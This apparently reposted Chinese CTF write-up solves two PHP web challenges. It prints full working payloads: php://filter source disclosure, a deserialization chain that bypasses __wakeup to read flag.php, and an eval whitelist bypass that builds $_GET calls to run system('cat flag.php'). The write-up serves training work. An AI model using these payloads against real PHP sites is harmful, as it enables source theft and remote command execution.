0x01
审查元素发现了提示，伪协议拿源码
/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
1 <?php 2 error_reporting(0); 3 $file = $_GET["file"]; 4 $payload = $_GET["payload"]; 5 if (!isset($file)) { 6 echo ‘Missing parameter‘ . ‘<br>‘; 7 } 8 if (preg_match("/flag/", $file)) { 9 die(‘hack attacked!!!‘); 10 } 11 @include ($file); 12 if (isset($payload)) { 13 $url = parse_url($_SERVER[‘REQUEST_URI‘]); 14 parse_str($url[‘query‘], $query); 15 foreach ($query as $value) { 16 if (preg_match("/flag/", $value)) { 17 die(‘stop hacking!‘); 18 exit(); 19 } 20 } 21 $payload = unserialize($payload); 22 } else { 23 echo "Missing parameters"; 24 } ?>
/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php
1 <?php 2 class Handle{ 3 private $handle; 4 public function __wakeup(){ 5 foreach(get_object_vars($this) as $k => $v) { 6 $this->$k = null; 7 } 8 echo "Waking up\n"; 9 } 10 public function __construct($handle) { 11 $this->handle = $handle; 12 } 13 public function __destruct(){ 14 $this->handle->getFlag(); 15 } 16 } 17 18 class Flag{ 19 public $file; 20 public $token; 21 public $token_flag; 22 23 function __construct($file){ 24 $this->file = $file; 25 $this->token_flag = $this->token = md5(rand(1,10000)); 26 } 27 28 public function getFlag(){ 29 $this->token_flag = md5(rand(1,10000)); 30 if($this->token === $this->token_flag) 31 { 32 if(isset($this->file)){ 33 echo @highlight_file($this->file,true); 34 } 35 } 36 } 37 } 38 ?>
$handle由private修饰，所以要在前面加上%00
O:6:"Handle":1:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
_wakeup()绕过
反序列化时，如果表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup()的执行
O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
最终payload为：
///index.php?file=hint.php&payload=O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}
审查元素，在js代码中发现calc,php，访问得到源码
1 <?php 2 error_reporting(0); 3 //听说你很喜欢数学，不知道你是否爱它胜过爱flag 4 if(!isset($_GET[‘c‘])){ 5 show_source(__FILE__); 6 }else{ 7 //例子 c=20-1 8 $content = $_GET[‘c‘]; 9 if (strlen($content) >= 80) { 10 die("太长了不会算"); 11 } 12 $blacklist = [‘ ‘, ‘\t‘, ‘\r‘, ‘\n‘,‘\‘‘, ‘"‘, ‘`‘, ‘\[‘, ‘\]‘]; 13 foreach ($blacklist as $blackitem) { 14 if (preg_match(‘/‘ . $blackitem . ‘/m‘, $content)) { 15 die("请不要输入奇奇怪怪的字符"); 16 } 17 } 18 //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 19 $whitelist = [‘abs‘, ‘acos‘, ‘acosh‘, ‘asin‘, ‘asinh‘, ‘atan2‘, ‘atan‘, ‘atanh‘, ‘base_convert‘, ‘bindec‘, ‘ceil‘, ‘cos‘, ‘cosh‘, ‘decbin‘, ‘dechex‘, ‘decoct‘, ‘deg2rad‘, ‘exp‘, ‘expm1‘, ‘floor‘, ‘fmod‘, ‘getrandmax‘, ‘hexdec‘, ‘hypot‘, ‘is_finite‘, ‘is_infinite‘, ‘is_nan‘, ‘lcg_value‘, ‘log10‘, ‘log1p‘, ‘log‘, ‘max‘, ‘min‘, ‘mt_getrandmax‘, ‘mt_rand‘, ‘mt_srand‘, ‘octdec‘, ‘pi‘, ‘pow‘, ‘rad2deg‘, ‘rand‘, ‘round‘, ‘sin‘, ‘sinh‘, ‘sqrt‘, ‘srand‘, ‘tan‘, ‘tanh‘]; 20 preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs); 21 foreach ($used_funcs[0] as $func) { 22 if (!in_array($func, $whitelist)) { 23 die("请不要输入奇奇怪怪的函数"); 24 } 25 } 26 //帮你算出答案 27 eval(‘echo ‘.$content.‘;‘); 28 }
0x02
经过分析：
有长度限制，不能超过80
虽然有/m，但是\r在黑名单中，所以不存在换行绕过
传给c的参数不能是字母，只允许使用白名单的函数作字符串
要用白名单中的函数将数字转成字母，发现base_convert()和dechex()两个函数
0x03
最终payload：
c=$pow%3Dbase_convert(37907361743,10,36)(dechex(1598506324));($$pow){0}(($$pow){1})&0=system&1=cat%20flag.php
解释如下：
dechex(1598506324)得到的是_GET进行hex编码的值
base_convert(37907361743,10,36)得到的是函数hex2bin
c的值定义了$pow=_GET，那么$$pow=$_GET
最后执行的代码为$_GET{system}($_GET{cat flag.php})
原文：https://www.cnblogs.com/paperpen/p/10754116.html